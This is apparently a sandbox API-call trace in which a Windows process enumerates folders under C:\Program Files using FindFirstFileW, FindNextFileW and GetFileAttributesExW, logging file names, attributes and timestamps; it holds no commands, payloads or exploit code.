	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecb4f5e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecb4f5e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xecab7060, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecab7060, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0050.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.385] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x1276e3c8 | out: lpFileInformation=0x1276e3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f594c0, ftCreationTime.dwHighDateTime=0x1d51822, ftLastAccessTime.dwLowDateTime=0x3b5cebc0, ftLastAccessTime.dwHighDateTime=0x1d4ee65, ftLastWriteTime.dwLowDateTime=0x3b5cebc0, ftLastWriteTime.dwHighDateTime=0x1d4ee65, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bell_quiet.exe", cAlternateFileName="BELL_Q~1.EXE")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0050.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.386] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x1276e5f8 | out: lpFileInformation=0x1276e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.387] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.387] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1
	[0050.387] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.387] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.387] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e698 | out: lpFileInformation=0x1276e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340)) returned 1
	[0050.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x1276e6e8 | out: lpFileInformation=0x1276e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
